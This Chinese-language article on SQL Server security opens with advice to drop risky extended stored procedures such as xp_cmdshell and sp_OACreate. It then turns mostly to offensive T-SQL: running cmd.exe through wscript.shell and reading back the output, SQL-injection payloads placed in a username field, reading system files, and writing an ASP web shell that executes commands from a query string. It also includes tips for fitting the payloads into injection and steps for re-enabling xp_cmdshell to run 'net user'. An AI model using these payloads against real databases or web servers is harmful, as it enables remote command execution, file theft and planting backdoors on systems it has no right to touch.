對預存程序進行大手術,並且對帳號調用擴充預存程序的許可權要謹慎。其實在多數應用中根本用不到多少系統的預存程序,而SQL Server的這麼多系統預存程序只是用來適應廣大使用者需求的,所以請刪除不必要的預存程序,因為有些系統的預存程序能很容易地被人利用起來提升許可權或進行破壞。 如果你不需要擴充預存程序xp_cmdshell請把它去掉。使用這個SQL語句:
use master
_dropextendedproc 'xp_cmdshell'
xp_cmdshell是進入作業系統的最佳捷徑,是資料庫留給作業系統的一個大後門。如果你需要這個預存程序,請用這個語句也可以恢複過來。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
如果你不需要請丟棄OLE自動預存程序(會造成管理器中的某些特徵不能使用),這些過程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
去掉不需要的註冊表訪問的預存程序,註冊表格儲存體過程甚至能夠讀出作業系統管理員的密碼來,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
還有一些其他的擴充預存程序,你也最好檢查檢查。 在處理預存程序的時候,請確認一下,避免造成對資料庫或應用程式的傷害。
sp_OACreate:運行CMD並顯示回顯的要求是Wscript.shell和Scripting.FileSystemObject可用
sp_OACreate
在 Microsoft SQL Server執行個體上建立 OLE 對象執行個體。
文法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
---------------------------------------------------------------------
sp_OAGetProperty
擷取 OLE 對象的屬性值。
文法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
---------------------------------------------------------------------
sp_OAMethod
調用 OLE 對象的方法。
文法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]
---------------------------------------------------------------------
思路:
先在SQL Server 上建立一個Wscript.Shell,調用其run Method,將cmd.exe執行的結果輸出到一個檔案中,然後再建立一個Scripting.FileSystemObject,通過它建立一個TextStream對象,讀出臨時檔案中的字元,一行一行的添加到一個暫存資料表中。
以下是相應的SQL語句
CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的參數true指的是將等待程式啟動並執行結果,對於類似ping的長時間命令必需使用此參數。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
DROP TABLE MYTMP
注意:
如果你在進行注入測試時使用這種方法就不能有這樣多的換行,必須把它們合為一行,每個語句中間用空格符隔開。
-------------------------------------------------------------------------------------------------------------------
(1)這個例子使用'wscript.shell'對象建立了一個記事本的執行個體:
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
我們可以通過指定在使用者名稱後面來執行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'--
(2)這個例子使用'scripting.filesystemobject'對象讀一個已知的文字檔:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:/boot.ini', 1
exec @ret=sp_oamethod @f,'readline',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,'readline',@line out
end
(3)這個例子建立了一個能執行通過提交到的任何命令:
-- scripting.filesystemobject example – create a 'run this'.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'createtextfile',@f out,'c:/inetpub/wwwroot/foo.asp',1
exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>'
需要指出的是如果啟動並執行環境是WIN NT4+IIS4平台上,那麼通過這個程式啟動並執行命令是以系統許可權啟動並執行。在IIS5中,它以一個比較低的許可權IWAM_XXXaccount運行。
(4)這些例子闡述了這個技術的適用性;它可以使用'speech.voicetext'對象引起SQL SERVER發聲:
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我們可以在我們假定的例子中,通過指定在使用者名稱後面來執行它(注意這個例子不僅僅是注入一個指令碼,同時以admin許可權登陸到應用程式):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--
我(lslxdx)整理了下xp_cmdshell和sp_aomethod的可以執行的語句,對大家會有些用(一下語句沒有任何危險性):
--開啟oamethod--
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
--開始執行oamethod--
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user','0','true'
go
--沒事的話就關閉oamethod--
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 0;
GO
RECONFIGURE;
GO
--開啟xp_cmdshell--
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'xp_cmdshell', 1;
GO
RECONFIGURE;
GO
--使用dos命令顯示本電腦上的所有使用者名稱--
EXEC xp_cmdshell 'net user'
go
--沒事的話就關閉xp_cmdshell--
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'xp_cmdshell', 0;
GO
RECONFIGURE;
GO